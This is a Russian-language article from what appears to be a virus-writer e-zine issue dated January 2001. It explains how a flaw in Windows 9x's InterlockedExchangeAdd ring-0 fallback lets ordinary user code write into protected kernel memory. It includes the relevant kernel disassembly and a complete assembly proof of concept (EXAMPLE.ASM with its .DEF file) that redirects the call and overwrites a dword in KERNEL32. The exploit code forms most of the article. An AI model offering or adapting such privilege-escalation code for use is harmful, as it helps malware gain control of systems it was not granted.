·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
│ │ │ │ ├─┤│ / │ ││││├┴┐┬├─ ┬│ ├─┤ │ ┬│ ││└┤ Issue #1, January-2001
··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························
············································································
WIN9X: ПИШЕМ В ЗАЩИЩЕННУЮ ПАМЯТЬ ИЗ RING-3
············································································
В win32 api есть следующие функции:
InterlockedIncrement
InterlockedDecrement
InterlockedCompareExchange
InterlockedExchange
InterlockedExchangeAdd
Эти функции предназначены для синхронизации доступа к расшаренным
флагам из нескольких нитей в мультитреадной программе или из нескольких
программ, когда флаги хранятся в расшаренной памяти.
Рассмотрим одну такую функцию подробнее.
KERNEL32.DLL
BFF70000:
...
InterlockedExchangeAdd:
BFF743CA: 8B4C2404 mov ecx, [esp+4] ; адрес
BFF743CE: FF252C9EFCBF jmp dword ptr [BFFC9E2C]
variant_1:
BFF743D4: 8B442408 mov eax, [esp+8] ; новое значение
BFF743D8: 0FC101 xadd [ecx], eax
BFF743DB: C20800 retn 0008
variant_2:
BFF743DE: 830100 add dword ptr [ecx], 0 ; проверка доступа (*)
call_ring0_xadd:
BFF743E1: FF742408 push dword ptr [esp+8] ; новое значение
BFF743E5: 51 push ecx ; адрес
BFF743E6: 685B002A00 push 002A005B
BFF743EB: E8E4CFFFFF call BFF713D4 ; KERNEL32_ord0
BFF743F0: C20800 retn 0008
BFFC9E2C: dd BFF743D4 ; variant_1 / variant_2
Как видно, в случае, если процессор поддерживает специально для этого
сделанную функцию XADD, будет работать первый вариант; в противном случае
будет работать второй. Дворд, хранящий один из двух адресов процедур,
устанавливается при инициализации кернела.
Что же происходит при вызове второй процедуры? В этом случае
управление уходит в ring-0 и там, в VWIN32 происходит такое действо:
C0111ADC: 8B542404 mov edx, [esp+4]
C0111AE0: 8B74240C mov esi, [esp+0C] ; адрес
C0111AE4: 8B4C2410 mov ecx, [esp+10] ; новое значение
C0111AE8: 8B06 mov eax, [esi]
C0111AEA: 03C8 add ecx, eax
C0111AEC: 890E mov [esi], ecx ; НСД ;-)
C0111AEE: 89421C mov [edx+1C], eax ; вернуть старое значение
C0111AF1: C21000 retn 0010
Итак, нам осталось только попасть в эту рулезную процедуру.
Единственная проверка на наябку -- это команда (*) (см.выше), кояя
проверяет на валидность подлежащий использованию дворд.
Таким образом, нам надо просто вызвать подпрограмму call_ring0_xadd,
находящуюся в кернеле.
····[begin EXAMPLE.ASM]······················································
extern InterlockedExchangeAdd:PROC
; нижеследующая дельта может зависеть от версии маздая; здесь - win98 SE RUS
DELTA equ 17h ; call_ring0_xadd-InterlockedExchangeAdd
p386
model flat
.data
dd ?
.code
start:
int 3
; слегка пофиксим адрес InterlockedExchangeAdd,
; при этом мы рассчитываем на линковку TLINK'ом
lea eax, InterlockedExchangeAdd
mov eax, [eax+2] ; +2 = поскипать FF 25
add dword ptr [eax], DELTA
mov edi, 0BFF70000h ; кернел
mov eax, 12345678h
call write_dword ; пишем дворд в кернел
retn ; выход
; input: EDI = адрес дворда
; EAX = дворд для записи
write_dword: pusha
sub eax, [edi] ; так как будет ADD [edi],eax
mov ecx, edi ; адрес
push eax ; значение
push 0 ; не используется
call InterlockedExchangeAdd
popa
retn
end start
····[end EXAMPLE.ASM]························································
.DEF-файл нужен только потому, что в IMPORT32.LIB описание нашей
процедуры отсутствует, хотя и должно быть. А может у меня просто старая
версия.
····[begin EXAMPLE.DEF]······················································
IMPORTS
InterlockedExchangeAdd = KERNEL32.InterlockedExchangeAdd
····[end EXAMPLE.DEF]························································
Как видно, основная маза тут в том, что запись в ранее недоступную,
защищенную память происходит достаточно легальным способом, через вызов
кернеловской процедуры.
············································································